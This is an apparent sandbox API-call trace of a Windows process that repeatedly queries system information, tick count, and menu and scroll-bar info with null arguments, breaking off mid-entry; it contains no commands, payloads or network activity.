GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.881] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.881] GetTickCount () returned 0x17fd9 [0026.882] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.882] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.882] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.882] GetTickCount () returned 0x17fd9 [0026.882] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.882] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.882] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.882] GetTickCount () returned 0x17fd9 [0026.882] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.882] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.882] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.882] GetTickCount () returned 0x17fd9 [0026.882] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.882] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.882] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.882] GetTickCount () returned 0x17fd9 [0026.882] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.882] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.882] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.882] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.883] GetTickCount () returned 0x17fd9 [0026.883] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.883] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.883] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.883] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.883] GetTickCount () returned 0x17fd9 [0026.883] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.883] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.883] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.883] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.883] GetTickCount () returned 0x17fe8 [0026.883] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.883] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.883] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.884] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.884] GetTickCount () returned 0x17fe8 [0026.884] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.884] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.884] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.884] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.884] GetTickCount () returned 0x17fe8 [0026.884] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.884] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.884] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.884] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.884] GetTickCount () returned 0x17fe8 [0026.884] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.884] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.884] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.884] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.884] GetTickCount () returned 0x17fe8 [0026.884] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.884] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.884] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.884] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.884] GetTickCount () returned 0x17fe8 [0026.884] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.884] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.884] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.885] GetTickCount () returned 0x17fe8 [0026.885] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.885] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.885] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.885] GetTickCount () returned 0x17fe8 [0026.885] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.885] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.885] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.885] GetTickCount () returned 0x17fe8 [0026.885] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.885] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.885] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.885] GetTickCount () returned 0x17fe8 [0026.885] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.885] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.885] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.885] GetTickCount () returned 0x17fe8 [0026.885] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.885] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.885] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.885] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.886] GetTickCount () returned 0x17fe8 [0026.886] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.886] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.886] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.886] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.886] GetTickCount () returned 0x17fe8 [0026.886] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.886] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.886] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.886] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.886] GetTickCount () returned 0x17fe8 [0026.886] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.886] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.886] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.886] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.886] GetTickCount () returned 0x17fe8 [0026.886] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.886] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.886] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.886] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.886] GetTickCount () returned 0x17fe8 [0026.886] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.886] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.886] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.886] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.887] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.887] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.887] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.887] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.887] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.887] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.887] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.887] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.887] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.887] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.887] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.887] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.887] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.887] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.887] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.887] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.887] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.887] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.887] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.887] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.887] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.888] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.888] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.888] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.888] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.888] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.888] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.888] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.888] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.888] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.888] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.888] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.888] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.888] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.888] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.888] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.888] GetTickCount () returned 0x17fe8 [0026.888] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.889] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.889] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.889] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.889] GetTickCount () returned 0x17fe8 [0026.889] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.889] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.889] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.889] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.889] GetTickCount () returned 0x17fe8 [0026.889] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.889] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: 